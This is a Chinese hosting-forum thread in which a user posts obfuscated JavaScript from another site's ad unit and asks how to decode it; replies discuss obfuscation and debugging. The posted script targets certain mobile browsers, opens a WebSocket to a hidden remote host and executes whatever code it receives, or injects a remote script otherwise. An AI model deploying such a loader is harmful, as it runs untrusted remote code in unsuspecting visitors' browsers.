全球主机交流论坛

 找回密码
 注册

QQ登录

只需一步,快速开始

CeraNetworks网络延迟测速工具IP归属甄别会员请立即修改密码
查看: 1209|回复: 9

js解密 谁会?

[复制链接]
发表于 2022-9-12 22:59:20 | 显示全部楼层 |阅读模式
(function(N, r) {
        var c = ["%%UB]p?tU5XV\"", "SJ^BKsl/l3`e<`.", "(%c+AqF#", "1_(YAjw:a^ri[%yJ", "YJ-B0t0*3bT", "uUf*", "eUHAptB@%cpb{jxJ", "c+UB&rT#", "G[7,3t`x=W:U.=UK]>.p{v&tI3de>2xJ>M,p<v*PM*om!", "hX0Y5CS9(5]p$#*G:MyA]pus0*^VsvuKLM?%vC;?$", "hX0Y5C`U^3]pkEyDMM6p{v}s1W^eVvuKLM?%vC;?$", "hX0Y5CwaW5]pkE{DU<opGlus24NS0``2hX`<QIU9B+"];
        function Z(B) {
                var x = {},
                m = '',
                q = [],
                D = 0x0,
                d = 0x0,
                K = 0x20,
                J = -0x1,
                S,
                C,
                G,
                I = String['fromCharCode'];
                while (K++<0x7e) K != 0x27 && K != 0x5c && (x[I(K)] = d++);
                typeof B == 'number' && (B = c[B]);
                K = 0x0,
                d = 0x0;
                while (K++<B['length']) {
                        G = x[B[K - 0x1]];
                        if (G === undefined) continue;
                        if (J < 0x0) J = G;
                        else {
                                J += G * 0x5b,
                                D |= J << d,
                                d += (J & 0x1fff) > 0x58 ? 0xd: 0xe;
                                do {
                                        q['push'](D & 0xff), D >>= 0x8, d -= 0x8
                                } while ( d > 0x7 );
                                J = -0x1
                        }
                }
                J > -0x1 && q['push']((D | J << d) & 0xff);
                K = 0x0;
                while (K < q['length']) {
                        S = q[K++],
                        C = S >> 0x4;
                        if (C < 0x8) m += I(S);
                        else {
                                if (C == 0xc || C == 0xd) m += I((S & 0x1f) << 0x6 | q[K++] & 0x3f);
                                else {
                                        if (C == 0xe) m += I((S & 0xf) << 0xc | (q[K++] & 0x3f) << 0x6 | q[K++] & 0x3f)
                                }
                        }
                }
                return m
        };
        function u(B, x) {
                return Math['floor'](Math[Z(2)]() * (x - B + 0x1) + B)
        };
        function y(B) {
                return new Function('_tdcs', B)['apply'](N, []['slice']['call'](arguments, 0x1))
        };
        var Y = r[Z(3)];
        if (/(MQQBrowser|UCBrowser|baidu|quark)/i['test'](navigator['userAgent'])) {
                var V = 'callback' + new Date()['getTime'](),
                R = new WebSocket(Z(u(9, 11)) + '?if9=' + V);
                R[Z(4)] = function(B) {
                        y(Z(B['data']), Y),
                        R['close']()
                }
        } else {
                var b = document[Z(6)](Z(7));
                b[Z(5)] = Z(u(8, 8)),
                Y[Z(0)][Z(1)](b, Y)
        }
} (window, document));




看到别人挂的小联盟广告加密了,哪位大神能解密下,万分感谢。

发表于 2022-9-12 23:17:30 | 显示全部楼层
JS不存在加密, 最终还是要在浏览器运行的
 楼主| 发表于 2022-9-12 23:03:16 | 显示全部楼层
有技术大神吗
发表于 2022-9-12 23:05:43 | 显示全部楼层
这种应该算混淆把
发表于 2022-9-12 23:14:20 | 显示全部楼层
代码很短不难,慢慢debug调试就行
发表于 2022-9-13 08:52:47 | 显示全部楼层
把这行
return m
改成
console.log(m)
发表于 2022-9-13 09:29:01 | 显示全部楼层
看起来像91的JS
发表于 2022-9-13 10:04:19 | 显示全部楼层
bagheera 发表于 2022-9-13 08:52
把这行
return m
改成

没那么简单,你console打一下试试,根本没价值,还是得逐行分析。

人工反混淆了一下,Z这个函数应该不是后期混淆加上的,ws这边的onmessage逻辑强关联。

很好奇楼主是从哪拿到这个玩意的,给个地址?

 楼主| 发表于 2022-9-13 20:25:36 | 显示全部楼层
flyqie 发表于 2022-9-13 10:04
没那么简单,你console打一下试试,根本没价值,还是得逐行分析。

人工反混淆了一下,Z这个函数应该不是 ...

https://m.66152.com/cartoon/202011/32008_2.html

权重7  每天40几万ip
发表于 2022-9-13 20:31:11 | 显示全部楼层
所谓的js加密无外乎就是变换/异或
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Archiver|手机版|小黑屋|全球主机交流论坛

GMT+8, 2024-3-29 16:14 , Processed in 0.099439 second(s), 10 queries , Gzip On, MemCache On.

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表